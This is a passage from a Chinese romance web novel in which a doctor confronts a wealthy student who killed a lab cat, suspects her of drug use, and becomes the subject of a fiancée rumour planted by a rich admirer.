在贺霜又一次伸手过来想抓她头发的时候,江明月顺势扣住贺霜的手腕。 掐住手腕的那一瞬间,江明月愣了一下。 这手腕也太细了,没什么肉,仿佛一层皮包着骨头。 江明月没想到贺霜这么瘦,可能只有七八十斤。 她顺着这个姿势将贺霜推开。并没有使很大的劲儿, 但贺霜太轻了,站不稳,一屁股摔在复古图纹的地毯上。 贺霜呆滞数秒,回头大喊:“二哥!有人打我!” 还有帮手啊。 江明月还挺想知道这个贺霜到底是什么背景的,竟然能让王院长出面帮她弄论文。而且她已经决定举报贺霜了,知道的信息当然越多越好。 所以她没走,就在这儿等贺霜口中的那个“二哥”出现。 结果压根儿没有人回应贺霜。 江明月十分真诚地问:“人呢?” 听上去更像是挑衅。 贺霜气得从地上爬起来,快步走到某一扇门前,疯狂敲门。 很快,房门打开, 江明月看着房间里走出来一个青年,旁边还站着两个清秀可人的小姑娘。也不知道这仨人刚刚在里面干嘛,反正都穿得挺凉快的。 “怎么了?”贺冰问。 贺霜指向江明月,控诉道:“二哥!她打我!” 贺冰顺着妹妹手指的方向望了过去,看见江明月的脸,眼中划过一抹惊艳。 “你打我妹妹?”贺冰的视线在江明月身上流连,这样明艳的美人实在不像会动手打人的样子,“你怎么打的?” 江明月被这视线看得不太舒服。她活动了一下肘关节,走近两步,又用力扇了贺霜一耳光。 “就这么打的。” 贺冰连忙把妹妹护到身后:“不是,美女你这就过分了啊,君子动口不动手,有话不能好好说吗?” 贺霜又被打懵了,捂了一会儿脸,才想到冲上去反击。 江明月穿着大衣活动不开,打人都不顺手,于是把大衣脱下,扔到旁边的沙发上。 贺冰这时才瞄见她颈间那条项链,立刻一把拉住贺霜:“等等!别激动!都是自己人。” 贺冰记得这条项链。 当时他和林逸都在拍卖会现场。这条项链是林逸唯一一件举牌的拍品。 是那种完全不在乎价钱的举牌。 起拍价600万,举牌一次加价100万。他都数不清林逸中间举了几次牌,只要有人跟他抢,他就加价,加到别人不敢跟为止。 最终以5900万港币落槌。 贺冰当时还问林逸:“你是不是偷偷谈了个女人啊?花这么大代价买了件首饰,准备求婚?还粉钻,够少女心的。” 不过林逸就回了一句:“与你无关。” 现在这条项链出现在了眼前这人的脖颈之上。那么她是谁带过来的人,不言而喻。 贺冰忍不住多看了几眼江明月。 贴身的针织裙勾勒出了窈窕的身体曲线,腰线位置收束得很紧,盈盈一握。 这什么人间尤物。 林逸真会挑啊。 贺冰打算看在林逸的面子上,打个圆场算了,于是冲江明月说:“美女,你跟我妹妹道个歉,今天这事儿我们就不计较了。” “道歉?” “就道歉?” 江明月和贺霜同时开口。 江明月皮笑肉不笑。 贺霜则是一脸气急败坏,一跺脚,又想冲过去干架。 贺冰连忙将贺霜箍在自己身前,两条手臂紧紧钳制住她。贺霜拚命想挣脱。 江明月望向贺冰:“你们是亲兄妹?” 贺冰点头:“是啊。” “你是做什么工作的?” “我开传媒公司的。” 江明月轻轻拧眉,又问:“你是二哥,那你们上面还有个大哥?” 贺冰说:“是啊。” 江明月顺着往下问:“大哥是做什么工作的?” 贺冰毫不设防,问什么答什么:“我大哥身体不好,一直没去工作。” “你们父母也是做生意的吗?” “是啊。” “做什么生意?” “做大型医疗器械的。” 江明月点点头。 这就对了。 王院长有一段时间负责医院的大型医疗设备的采购工作,明面上都是招标,但这里面多少有些利益输送关系。难怪王询愿意帮贺霜解决论文问题,为她的保研保驾护航。 江明月刚刚蹙着眉心问话,那语气那神态,太像大夫问诊了,贺冰一不留神就全交代了,这会儿总算察觉到不同寻常了。 “喂,你查户口呢?”贺冰把话题扭了回来,“想问什么过会儿再问,你先向我妹妹道歉。” 江明月微冷的眸光挪到了贺霜的脸上:“你怎么不问问你妹妹今天做了什么呢?” 贺霜对上她的眼眸,竟然有点想往后退,但她忍住了,理直气壮道:“不就是一只猫吗?那猫死透了没?它活该!你也活该!谁让你拒绝我……啊!” 江明月又给了她一个耳光。 这下贺冰也冒火了:“你他妈想干嘛!不管我妹妹做了什么,你好好说不行吗?你又不是没长嘴!” 江明月说:“好好说?你妹妹又听不懂人话。” 贺霜扒拉着贺冰的手臂:“二哥,你放开我!我要打回来!” 贺冰犹豫再三,还是没松手。 他虽然不知道眼前这个女人和林逸具体是什么关系,但他能确定林逸对这女人不一般。顾忌到这一点,贺冰一直没把自己妹妹松开。贺霜什么德性他清楚,骄纵自大,任性妄为,最近几年的脾气更是反覆无常,还有了暴力倾向。贺冰怕她伤了人,事后被林逸连本带息地讨回来。 林逸真干得出这种事。而且他不会光明正大地对付你,他会暗中给你使绊子。你只会觉得自己莫名诸事不顺,却找不到原因。 贺霜气得嚎啕大哭。 被人连打了三个巴掌啊!从来没受过这样的委屈!平时有求必应的二哥竟然也不帮自己了! 贺霜哭得上气不接下气。贺冰心疼得很,腾出一只手给妹妹擦眼泪,然后掏出手机拨号:“林逸你人呢?快来休息室!你带来的人把我妹妹打哭了!” 贺霜趁这个时机挣开了贺冰的钳制,飞扑到江明月面前,扬起手来,想还江明月一巴掌。 她穿的是泡泡袖公主裙,袖长大约到小臂中间。随着她抬手的动作,宽大的袖子往下滑落,露出了枯瘦的臂膀。 江明月眼眸微凝。 贺霜的右侧肘关节静脉附近,长了很多红疹,密密麻麻的一堆红色小点。 江明月刚想再看清楚一点,贺霜就被贺冰架住了,还往后拖了两步。 贺冰好言相劝:“我的姑奶奶,我知道你委屈,你先消停一点行不行?” 贺霜踢了贺冰好几下,贺冰都没再松开她。 而贺霜左边的袖子也因为扭动挣扎的动作卷了上去。 江明月特意往手肘部位看了一眼。 和右边手肘一样,那里也遍布着细细小小的红疹。 这是怎么回事?皮肤过敏有这样的吗?- 林逸来得很快。 贺冰拿眼神点了下江明月,叫苦道:“这位,当着我的面甩了我妹妹两个耳光。林逸,我看在你的面子上,都没让我妹妹还手。” 贺霜的脸都肿了,眼泪流了满脸,又急又恨地指着江明月:“林逸哥!她打我!” 林逸瞥了眼贺霜那张微微肿胀的脸,下意识地牵起江明月的手检查了一遍。 应该是用右手打的。右边手心通红。 “你们认识?”林逸问的是江明月。 贺冰简直不敢相信自己的耳朵。 这么轻柔温和的声音竟然是林逸说出来的。 江明月从沉思中回神,平淡道:“不认识,单纯有仇。” 林逸似笑非笑地盯住了贺冰:“怎么回事?” 贺冰茫然。刚刚太混乱了,他只知道妹妹挨打了,别的都不清楚。 江明月以为林逸是在问她,便主动讲了起因经过,只不过口吻并不中听:“是这样,我们实验室里养了只橘猫,今天上午被贺小姐的高跟鞋活活踩死了。不巧,刚刚在这里遇见了贺小姐,我实在没忍住,动手打了贺小姐。当然,贺小姐也不用觉得难堪,这区区几巴掌与小猫临死前的痛苦相比,不值一提。” 林逸垂眼看贺霜,眸光说不出的幽冷。 原来是她。 贺冰察觉到林逸身上气息变了,连忙将妹妹往后一扯,自己上前一步挡在贺霜身前,调解道:“行了行了,我妹妹确实做得不对,她现在知道错了。” “凭什……” 贺霜的话才喊到一半,贺冰转身捂住了她的嘴,吼了一句:“你先闭嘴!” 贺霜呆了呆。 贺冰继续放低姿态,冲江明月说:“这位姐姐,我有罪,我刚刚不该让你道歉,应该我跟你道歉,郑重道歉,你别跟我妹妹计较了,行吗?” 江明月没吭声。 但并不是默认了。 她只是考虑到林逸在场,自己毕竟是陪客,没必要徒生事端。 林逸问她:“饿不饿?去楼下吃点东西?” 江明月点了下头,从沙发上拿起自己刚刚脱下来的大衣。 一直站在旁边的成雷清楚地看到,自己老板本想拉住江小姐的手,结果江小姐伸手去拿了衣服。 成雷连忙说:“江小姐,衣服我来拿吧。” 江明月道了声谢,将大衣递给他。 几人朝休息室门外走,贺霜轻轻喊了声:“林逸哥。” 林逸置若罔闻,倒是江明月回头看了她一眼。 不知道是不是因为被贺冰吼了一嗓子,贺霜一身气焰像被浇灭了,看上去萎靡又消沉。 待几人走远,贺冰揉了下贺霜的头:“别林逸哥了,你在这儿只有一个哥,那就是我。” 贺霜眼神空洞。 贺冰叹气:“妹妹,算我求你了,你别再惦记林逸了,你看看林逸刚刚对那个女人的态度,得知你被打了,第一反应是去看人家打人的手有没有受伤。幸好你哥我聪明,没让你真的打回去。就凭林逸这份在乎劲儿,你弄断人家一根头发,林逸都能把你变成秃子。” 贺霜问:“我哪里比不上江明月?” “江明月?”贺冰重复了一遍,随即反应过来,“你是说刚刚那个女人?” 见贺霜点头,贺冰不禁沉默了。 妹妹,有自信是好事,那也要看实际情况啊。不说别的,就单说江明月那个身段,谁看了不迷糊。贺霜太瘦了,单薄得像一张纸。 贺冰终究没忍心打击妹妹,只是说:“女孩子各有各的美。走,我们也去吃点东西。你多吃点,看你这两年都瘦成什么样了,不知道的还以为家里不给你吃饭呢。” 贺霜推开他:“你先去,我想一个人待一会儿。” “行,你休息够了再下来。”贺冰知道她心里难受,默默地出去了。 贺霜听见关门声,从包里翻出一枚注射器,十分熟练地扎进自己的手臂。 血液被倒抽入针管,和针管里原本的内容物混合后,又打进了体内。一番操作结束后,贺霜轻舒一口气,满足又惬意。 她推开休息室的窗子,随手将注射器扔出窗外。 窗外,江水滔滔不绝,很快淹没了一枚小小的针管- 林逸和江明月顺着旋转楼梯来到一楼餐厅。 下楼梯的时候,江明月走在没有扶手的一侧,林逸走在她身边,顺势扶住她的小臂。见她蹙着眉心,不知在想些什么,但并没有抗拒,林逸的手慢慢下移,直到覆住她的手背。直到下楼之后,才不着痕迹地松开她的手。 江明月一直在想贺霜手肘部位遍布的红疹。细细密密,有深有浅。 等等。 她忽然想到一种可能。 也许那根本不是红疹,而是—— 针孔。 有新有旧的针孔。 这个念头冒出来,江明月顿时头皮发麻。 她抬头问旁边的人:“你跟贺霜熟吗?” 林逸否认:“不熟。” 江明月保持怀疑:“不熟她管你叫哥?” 林逸便多解释了两句:“我和贺冰从小到大都在一起上学,交情还行。但我跟贺霜没见过几次,她喊我一声哥只是因为贺冰的关系。” “贺冰,就是贺霜她二哥?” “对。” 说话间,两人走到了就餐区,找到席位坐下,身着白衬衫的服务生送上两杯香槟和餐前甜点。 江明月忽然想起很久以前张太太跟自己提过,林逸是海外留学回来的。 “这么说,贺冰也是在国外读的大学?和你一起?” 得到林逸肯定的答覆后,江明月提出了自己的疑惑:“那贺霜为什么不出国读书?” 以她的家境,自费留学的学费根本不是问题。为什么没有像她哥哥那样出国留学? 林逸刚好知道一些内情,都如实告诉了江明月:“她父母年轻时都是医生,机缘巧合之下才辞职经商的。贺霜留在国内学医是她父母的决定,两位长辈想让最小的女儿弥补他们无法继续从医的遗憾。” 江明月摇头:“长辈有遗憾不能自己去弥补吗?为什么要强加到孩子身上?何况贺霜根本不适合学医,她对生命一点敬畏心都没有。还不如趁早退学回家,换个专业从头开始。” 餐前甜点是一份红酒雪梨。雪梨大约和冰糖一起煮了很久,吃上去有些甜腻。江明月吃了一口就放下了叉子,又陷入了沉思。 针孔。 注射后的针孔。 其实她对这方面不太了解,平时上班也接触不到,所以她现在也只是猜测。 林逸看了她好几眼,见她始终漫无目的地望着一个方向出神,不由问:“在想什么?” “我怀疑贺霜……”江明月顿了一下,没把真实想法告诉林逸,“……她二哥,私生活混乱。刚刚在休息室,他和两个小姑娘暧昧不清。” “……嗯。” “物以类聚人以群分,你说……” 他妹妹贺霜,会不会也有些异常举止? 没等江明月说完,林逸便道:“我和他不一样。” 江明月愣了几秒,才说:“我知道。以你的身体状况,也很难像他那样。” 林逸:“……” 就在这时,江明月看见贺霜从旋转楼梯上徐徐走了下来。 贺霜一扫刚刚的萎靡不振,看上去神采奕奕,精神焕发。 林逸觉得自己有必要跟江明月解释一下他的“病情”,总不能让她一直这么误会下去。 “明月。”林逸开了口。 江明月腾地站了起来:“我去趟休息室。” 林逸问:“怎么了?” 江明月匆匆留下一句:“我有东西落在那儿了,我去找找。”- 休息室内空无一人。 窗子开着,冷风灌了进来,泛着凉意。 跟过来的林逸看见江明月将沙发角落、茶几抽屉都翻了一遍,最后蹲在地上,翻起了垃圾桶。 他问:“要找什么?我帮你找。” 一无所获的江明月摇了摇头,去休息室自带的洗手间洗了手,正打算走,视线忽然定格在那一扇大开的窗子上。 江明月心念一动,走过去眺望窗外。 下雪了。 雪不大,雪花小小的一团,纷纷扬扬地落在江面上。 夜色下,荡漾的水波浮现出粼粼冷光,很快将雪花消融- 江明月在窗边站了片刻。 冷风夹杂着雪珠子扑到了她的脸上,吹得她脑子乱糟糟的。 她现在没穿大衣,身上只有一条针织长裙。林逸将自己的西服外套脱了下来,披在她身上:“没找到吗?具体是什么东西,很重要吗?” “……没什么。” 江明月打算回去以后跟沈归时讨论一下。 她最后看了眼涌动的江面,对林逸说:“算了,走吧。” 第38章 魂牵梦萦 “你今天一直跟他在一起?”…… 晚宴正式开餐。 主办方的代表来给林逸敬酒, 客套地问起他身边的江明月:“这位是……” 林逸侧身介绍:“我朋友,江明月江小姐。” 主办方代表又敬江明月:“幸会,江小姐。” 主办方代表一直站着, 林逸始终坐着, 姿态悠闲。江明月犹豫一瞬,也没站起来, 只是与对方轻轻碰杯:“你好。” 主办方代表与林逸就邻省某几块地皮的价位和规划问题谈了几句。林逸金融出身,视角比较宏观, 全程不置可否,只是隐晦地提了提:“地产产业链对经济增长已经构成了一定拖累, 政策方向必然会有所调整。” 桌上,江明月手机屏幕一亮。 沈归时发来一条语音消息。 江明月把手机音量调低, 放到耳边。那个清朗的音色在问:“下雪了,什么时候回来?” 江明月环顾着觥筹交错的宴会厅, 低头发消息。 【江明月:估计还有一会儿。】 【沈归时:好。过会儿可能有积雪,路上慢点。】 【江明月:知道啦。】 虽然江明月刻意调低了手机音量, 但林逸靠得近,那条语音消息同样清晰地飘进了他的耳中。 他不动声色,继续跟主办方代表闲聊。余光瞧见江明月正低头回消息, 唇边挂着一抹浅笑。 林逸几乎要把手里的高脚杯拧断。 主办方代表提议:“林总,方便的话, 合个影?” 林逸偏头问江明月:“可以吗?” 江明月没细听他们刚刚的对话,有些茫然地抬眸。 主办方代表瞅瞅林逸,再瞅瞅江明月,刹那间醒悟过来,立刻面带微笑地询问江明月:“江小姐,能否赏脸拍个合影?” 伸手不打笑脸人。江明月点点头。 主办方代表朝身后做了个手势。一名摄影师抱着专业相机小跑过来。 林逸端着香槟酒杯站起身, 空着的那只手非常绅士地伸向了江明月,做了一个邀请的姿势。 江明月愣了下,很配合地搭着林逸的手站了起来,站直之后,便礼貌地将自己的手从对方掌心抽离。 林逸站在中间,左边是江明月,右边是主办方代表。 摄影师准备拍照:“大家笑一笑啊,来,三——二——” 林逸将左手拿着的酒杯换到了右手,左臂长伸,轻轻揽住了旁边人的腰。 “一!” 画面定格- 过了一个多小时,游艇靠岸,晚宴结束。宾客陆陆续续离场。 主办方代表亲自将林逸送到车上,说了几句送别的话,又拿出一个礼袋递给江明月:“江小姐,看你刚刚没吃多少东西,这里面是一些茶点,不嫌弃的话可以尝尝。” 江明月推辞:“谢谢,不用了。” “江小姐别客气,你尝尝看,口味合适的话跟我说,我再帮你多多准备。”主办方代表直接将礼袋放到了车里,“林总,江小姐,雪天路滑,你们路上当心。” 车子开走。 那个礼袋放在了江明月座位旁边,挤占了一部分空间。江明月想给礼袋挪个位置,刚把袋子拎起来,就发觉这个礼袋重得出奇。 袋子里面只有一个长方形的铁皮曲奇罐,按理说不至于这么重。 江明月出于好奇,将曲奇罐打开。 一整罐的金条,码得整整齐齐。 江明月眉梢微扬,望向林逸:“一些茶点?” 林逸也挺意外。他解释道:“那个人因为一些生意上的事有求于我,我不太认同,已经回绝了。没想到他还想通过这种方式劝我回心转意。” 不得不说,人还是挺聪明的,找上了江明月。 指望她来吹枕边风啊。 也不知道该说他找对人了,还是找错人了。 江明月把曲奇罐塞回礼袋,只想置身事外:“这个怎么处理是你的事,我没见过这个罐子。” 林逸让司机靠边停,吩咐成雷现在就把礼袋送还给那个主办方代表。 这种东西既然不收,就不能留过夜。 成雷下车,路边招了一辆出租。 林逸这辆车继续向前,送江明月回海城名邸。 路上,孙静给江明月打来电话,问了几句近况之后开始切入正题:“月月,我给你物色了一个相亲对象,这次保证你满意,你明天休息的吧?去见个面。” 江明月直接推辞:“我明天要写论文,没时间。” 孙静质问:“周末你都没时间,那你什么时候有时间?” 江明月说:“嗯……接下来半年我都比较忙,没工夫去相亲。” 半年以后,沈归时就毕业了,不出意外的话,可以顺利留院,算是有一份还不错的工作傍身,到时候她再带他回家见父母,父母看他有学历有工作,应该不会再计较他家境清寒。 孙静拔高音量:“半年?你开什么玩笑?” 江明月搪塞:“哎呀,半年一眨眼就过去了。先不说了,妈,你早点睡吧,你不是总跟我说熬夜伤肝吗?你要为我树个榜样!” 孙静仍在电话里说那名相亲对像各方面都挺合适,错过了可惜。江明月打着哈哈应付了两句,挂了电话。 林逸侧目望过来,问她:“伯母让你去相亲?” 江明月轻轻地“嗯”了声,算是承认。 林逸继续问:“你家里还不知道你谈了男朋友?” 显而易见。如果孙静知道江明月有对象,何必再让她去相亲。 江明月刚想问林逸怎么知道她有男朋友,猛然记起林逸之前住院期间,偶然在电梯门口撞见过她和沈归时。 她连忙冲林逸做了个“嘘”的手势:“你别跟我爸妈透露啊,现在还不到跟他们坦白的时候。” 林逸看着她那紧张的样子,眼底浸上了微冷的暗色,但唇角浮现出淡笑,声线宽和又从容:“放心,我肯定帮你瞒好。” 车子开到了海城名邸。因为在下雪,司机直接送到了地下车库。 江明月伸手去摘项链:“差点忘了,这个项链还给你。” 林逸说:“送你了。” “啊?这太贵重了,我不能收。” “没多少钱。再说了,找你来帮忙,我肯定要给谢礼。万一以后还有事请你帮忙,你别回绝我就行。” 江明月在颈后摸索片刻,没找到解开项链的扣子在哪儿,听林逸都这么说了,她就放弃了尝试。 “那谢谢了,我回家了。” 江明月下了车。司机缓缓驶离。 林逸透过车窗,看着那道身影裹紧了大衣,按下电梯按钮。 她管这个地方,叫“家”啊- 江明月进门,换了双厚底毛绒拖鞋,迳直走去厨房打开冰箱。 沈归时走了过来,看到她之后着实怔了好几秒。 盛妆之下的江明月,如同一枝肆意盛放的蔷薇,明艳高贵,耀眼夺目。 冰箱保鲜层里有一些去了皮的紫薯,都封在一个密封袋里。江明月拿了出来:“这个是熟的吗?能直接吃吗?” “是熟的。”沈归时从美貌的冲击中回神,拿走江明月手里的密封袋,“别吃冷的,我帮你热一下。你晚上没吃饱?” 他不清楚江明月晚上去哪儿了,看她化了妆,猜她多半是去赴宴了。 “嗯,那厨师做菜齁甜,我没怎么吃。” 沈归时极轻地笑:“挑食-精。” 江明月:“……” 全屋开了地暖,室内如同暖春。江明月脱下大衣,打算去换身家居服。 沈归时这才发现她颈间戴了一条项链。 这条项链他见过。 他刚被沈家找到的时候,沈老爷子一直想培养他继承家业,专门给他请了老师教授珠宝理论知识,还让管家带他去沈家的金库参观。 沈家的金库,安保非常严密,三道保险门,四周还有不下十个保镖把守。走进去空间很大,除了珠宝,还有一些价值连城的古董,大多都放在保险柜里。 每一件稀世珍宝都登记在册,能查到来历、估价以及保管年份。 这条项链属于保管年份比较久的,是沈归时曾祖那一辈从海外淘来的。项链设计精美,上面的钻石品质很高,保养得极好,放到现在也不逊色。 江明月对着镜子摘项链,依旧摘不下来,便向沈归时求助:“帮我摘一下项链。” 沈归时将她的头发顺到一边。项链的锁扣有别于现在的款式,略有一些复杂。他一边研究一边随口说着:“这条项链是纪尧姆的作品,一名法国珠宝设计师。当时他爱上了一位有夫之妇,将这条项链送给了那位夫人,恳求对方做自己的情人。” 这条项链有个法语名字,如果直译过来,可以译为“夜夜想你”,沈家登记入库的时候,给项链改了一个中文名—— 魂牵梦萦。 江明月不禁问:“你怎么还懂这个?” 沈归时说:“以前看过一些资料。” 江明月好奇:“那后来呢?” 沈归时回忆了一下:“那位夫人非常感动,她答应了纪尧姆,而且在半年之后,那位夫人与自己的丈夫正式分居两地,不再来往。” 江明月感叹:“为什么很多艺术品的背后都有一个故事或者传说?” 沈归时顺利将项链摘了下来:“因为这样可以卖得更贵。” 江明月:“……” 好有道理。 沈归时将项链拿在手里,走到灯光下打量了几眼,默默评估着项链的价值。 “这条项链你花多少钱买的?”他从来不干涉江明月的消费行为,他只是想问问她有没有买亏。 江明月实话实说:“不是我买的,林逸送的,他说没多少钱。” 沈归时心头重重一震,拿着项链的指节收紧:“你今天一直跟他在一起?” 第39章 觊觎 她真的很会哄人。 沈归时的声线还算平稳, 唯独音量略微抬高。 “那倒没有。”江明月找来卸妆湿巾擦脸,她平时上班都不怎么化妆,现在脸上带妆就像戴着一张面具, 每一粒毛孔都闷得难受, “只是陪他出席了一个商务晚宴。” 透过镜子,她看见了沈归时紧攥项链的那只手。项链的流苏从指缝之间滑落, 灯光之下,艳彩级粉钻的火彩像晃动的星河。水滴形钻石的尖头深嵌进他的指节, 戳出一个凹陷。 江明月敏锐地感觉到沈归时有情绪。 她立刻把前因后果解释清楚:“林逸之前住院的时候跟我提过今天这个晚宴,想让我陪他出席, 当时我没答应。前段时间,他帮忙解决了我表弟的一个麻烦, 然后又提了这个事儿,我就没好意思再拒绝。” “他觊觎你。”沈归时语气笃定, “他一直觊觎你。” 两个陈述句。 江明月想笑:“怎么了?又吃醋了?林逸他只是因为一时半会儿找不到合适的女伴,才来找我帮忙的。我保证我跟他之间清清白白, 什么事都没有。” 沈归时无声抿唇,下颔收紧,侧颜线条愈见清晰。 江明月补充:“而且林逸一直知道我有男朋友, 他不会对我有什么想法的。” “师姐,”沈归时真的不习惯在背后诋毁别人, 顿了好一会儿才说,“正常人是不会,但林逸可能没你想得那么好。” 江明月无条件顺着他的话说,猛猛点头附和:“嗯!他不好!你才好!你是全世界最好的!” 脸上的彩妆都擦干净了,江明月扔掉卸妆湿巾,揉了揉沈归时绷紧的脸:“还是不开心?那我跟你承诺, 我以后再也不见他了,好不好?” 卸下妆面的江明月恢复了那张素净如瓷的脸,但眼睛依旧亮晶晶的,语气也轻柔得过分,像在哄一只委屈的小狗。 沈归时握住她的手,将项链塞进她的手心:“这个还给他……不吉利。” “好。” “现在就还。” 这么离谱的要求江明月照样答应:“行,都听你的。” 她当着沈归时的面打电话给成雷,手机大大方方地开着免提,以示自己和林逸绝没有任何见不得人的瓜葛。 电话还在等待接听。但看她这么做,沈归时心里那点情绪都烟消云散了。 她真的很会哄人- 成雷已经从主办方代表那里折返,和林逸在车上会合了。 上车之后,成雷替主办方代表把话带到:“他说他是一时病急乱投医才出此下策,下次不会了,请您别介意。另外他托我问问您,今天晚上拍的照片可以公开吗?他想发一篇宣传通稿,财经板块的。” 今晚林逸就拍了一张照片。他、江明月还有主办方代表的合影。 林逸想了想,说:“可以公开。” “好的,林总。” “舆论上稍微引导一下。” “引导什么?” 林逸轻笑:“就说明月是我的未婚妻。” 成雷心想,这倒也是个办法。众口铄金,谁会在乎真假?就算是假的,说的人多了,也就变成真的了。 成雷问:“要不要多找几个人宣传一下,弄到全网皆知?” “不需要。”林逸淡然道,“只需要她父母知道就够了。” “好的,林总,我去安排。” 林逸接着说:“如果舆论发酵,保护好她的隐私。” 成雷应下。 这时,他的手机振动。看到来电显示,成雷惊道:“江小姐打来的!” 林逸望过来,脸色微沉:“她给你打电话?” 成雷磕磕巴巴地回答:“可能……可能江小姐是有什么事找您……但现在时间比较晚了,她……她不想打扰您……” 成雷忖了两秒,小心翼翼地将手机递到后座:“要不,您来接?” “她打给你的,我接干什么。”林逸扫视着成雷,“你接啊,想让她等多久?” 成雷胆战心惊地接通电话:“江小姐,您好。” 林逸的视线落在了那个手机上,盯得成雷后背发凉。他慌忙给手机按了个免提。 一通电话,四个人在听。 江明月说:“成助理,不好意思,这么晚了还来打扰你。” 成雷努力让自己的声音听上去正常一些:“江小姐不用客气,我正好还没下班。” 成雷认为自己这句话已经暗示了江明月,他现在就和林逸待在一起。 可惜江明月完全没有去领会话里的深层含义,而是直接说明意图:“今天林先生给了我一条项链,我想还给他。我同城快递寄给你们可以吗?” 成雷感觉车里忽然很冷,冻得他人都快傻了,脑子都要转不动了。他颤着手将自己面前的暖风开到最大,艰难开口:“您……您要还项链?” “对啊。方便给我一个邮寄地址吗?” “您是……款式不喜欢?还是颜色不喜欢?” 成雷默默祈祷——江小姐我给了您两个选项,您在这两个选项里面挑一个回答就行了啊! 江明月笑着说:“我男朋友不喜欢。” 成雷都不敢去看林逸的脸色,假笑两声:“江小姐,项链既然是林总送给您的,那您还是直接找他归还比较好。” 可别为难我啊! 江明月说:“其实我刚刚本来是打算还给他的,只是因为那个项链一直摘不下来,就没好还。成助理,你是觉得快递邮寄不够安全吗?我明天正好休息,我也可以送到你指定的地点。” 成雷深吸一口气:“江小姐,我们老板送出去的东西,肯定不会收回来。您如果执意要还,就是不给我们老板面子。” 话说到这份上,江明月那边果然没声儿了。 成雷吊着的心刚放下来不到一秒,就听电话里传来一个男声:“算了,师姐。” 成雷顿时呼吸不畅了。那个男人还在说:“以后遇到合适的买家再卖了。你不许戴。” 卖?卖了? 成雷真的要窒息了。这人是江小姐的男朋友吧?他知道这条项链值多少钱吗?他就敢说卖了! 偏偏江小姐一句反对的话都没有,只温声道:“成助理,那就麻烦你再帮我向林先生传达一下谢意,我先挂了。” 随着通话的结束,车内陷入死寂。 成雷很想跳车。理智告诉他不要冲动。 “林总。”他组织了一下语言,“那个……江小姐向您表示感谢。” 回答他的,是林逸的一声冷笑- 江明月吃了些紫薯,填了填肚子。 沈归时看她好像还没饱:“冰箱里还有虾仁,我去给你炒一盘。” 江明月拉住他:“等等,先跟你说正事。” 江明月从王院长找她要论文一作开始讲,一直讲到贺霜上午来实验室以后的所作所为。 “就因为我不肯把一作让给她,她把小核活活踩死了。小核太乖了,都不知道躲。” 沈归时坐在她的身边,握紧了她的手:“你别自责,是她的错,她心理扭曲精神变态,不关你的事。” “她可能精神方面真的有点问题。”江明月口吻渐渐严肃,将心底的怀疑说了出来,“而且我怀疑,她在注射毒品。” 沈归时的神情不由郑重起来。 江明月把晚上在游艇上遇见贺霜的事也说了,指了指自己的肘关节内侧:“她这个位置,静脉附近,全是密密麻麻的针孔,左臂右臂都有。而且她人特别瘦,很像那种被毒品榨干了的人。” 沈归时缓缓点头。 “不过……我没有证据。我怀疑她在游艇上也注射了一次,因为她前后的精神状态反差特别大,从一个非常低迷消沉的状态,变成了特别亢奋的状态。”江明月十分理性地分析,“我当时还去她待过的那个房间翻了一遍,但是没找到她用来注射的东西。” 沈归时说:“她应该也不想被别人发现,注射后肯定会把工具销毁。” 江明月“嗯”了声:“我第二次去那个房间的时候,发现窗子开着——之前是关着的。她很有可能把注射器扔到水里去了。” 沈归时静坐片刻,把整件事捋顺了。他忽然说:“其实我们国家禁毒力度很大,如果怀疑一个人吸毒,可以直接举报,不需要找到毒品作为证据。” 这一点和国外不一样。在很多海外国家,一个人只有在吸毒的时候被抓现行,才算这个人吸毒。但我国不是,只要通过检测确认一个人体内含有毒品成分,就可以认定这个人吸毒。 江明月豁然开朗:“那我明天打举报电话!” 沈归时说:“我来举报。你不是论文还没定稿吗?你安心写论文,别的事交给我。” “也行。”江明月点头。 虽然今天时间很晚了,但是她毫无睡意,去书房查了好久的文献资料,大致了解了毒品的作用机制、戒毒方式和复吸倾向。 结论就是——任何人,都不能碰毒。人的意志力根本不可能抵抗毒品,一旦沾上,就会控制不住去复吸,毒品会侵蚀人的神经系统。只要踏出这一步,人就废了,这辈子就完了。 第40章 未婚妻 连人都没有睡到 几日后的一个晚上, 江明月在实验室写完了论文终稿,准备给期刊编辑发邮件。 赵彤忽然神秘兮兮地凑过来,小声问她:“明月姐, 你和沈师兄分手了吗?” 江明月吓了一跳:“没有啊。怎么这么问?” 赵彤把一个手机放到她面前的桌面上。 江明月扫了眼屏幕。 微博的界面, 上面是一条很普通的财经新闻,挂着一个词条:#游艇晚宴定义海城商圈新格局# 新闻内容写的就是那场游艇晚宴, 谁出席了,谁缺席了, 谁和谁相谈甚欢了。 画风一切正常。 江明月不解地望向赵彤。后者说:“明月姐,你往下翻, 看看评论区。” 江明月直奔评论区。 热评第一条:【第一张图中间那个人是林氏集团的大少爷吧?他旁边那个女的是谁?好漂亮。】 有人回复:【那是他的未婚妻。】 【未婚妻?什么来历?有人扒一下吗?】 【刚刚有评论说是个医生,但那条评论好像被删了。】 【好像所有谈论到她的真实身份的评论都被删了。】 【你们仔细看首图!林少的手是不是放在她的腰上?妈耶, 好甜好配。】 【为什么只是未婚妻?想看他们原地结婚。】 【想看+1】 江明月越看越觉得不对劲,拉上去看了一眼微博配图。 第一张就是她那晚跟林逸、主办方负责人的合影。 江明月的第一反应是——幸好沈归时不玩微博。不然按他那个醋劲儿, 不知道会怎么瞎想。 她把手机还给赵彤,云淡风轻道:“别看网上那些人胡说八道, 照片都是摆拍,我跟你沈师兄好着呢。” 她这边风平浪静,没想到自己父母在家快炸了。 临近岁末, 江峰已经结清了所有代付款项,厂里也放了假。他这些日子都在家陪老婆, 安心等着过年。 岁月静好。直到一名很久不联系的合作伙伴今天给他发来一个微博链接,还附带一句话:“老江,我怎么瞅着林逸身边那人像是你女儿呢?” 提到“女儿”,就触发了江峰的人生关键词。他立刻点进微博链接翻了个遍。然后震惊且无措地退了出来,给那人回了一句:“不是我女儿,只是长得有点像。” 江峰自然认出了江明月。 但他真不明白啊, 自己女儿跟林逸什么时候变这么亲近了。 网上竟然还在传她是林逸的未婚妻。 江峰都开始怀疑自己是不是因为忙于工作,错过了自己女儿生命中的某个重要环节。 是不是这俩人订婚的时候没喊他? 而且,林逸,豪门出身,心思深重,是他从来没有考虑过的女婿人选。 江峰默默消化了一会儿,跑去问孙静知不知道这回事。 孙静气得捶桌子:“难怪我前几天让月月去相亲,她怎么都不肯去!她竟然瞒着我们,偷偷跟小林在一起了!还未婚妻!这俩人都背着我们私定终身了!” 江峰看孙静对女儿的事也毫不知情,心中竟涌出来一种微妙的平衡感。 女儿不是只瞒着他一人就行! 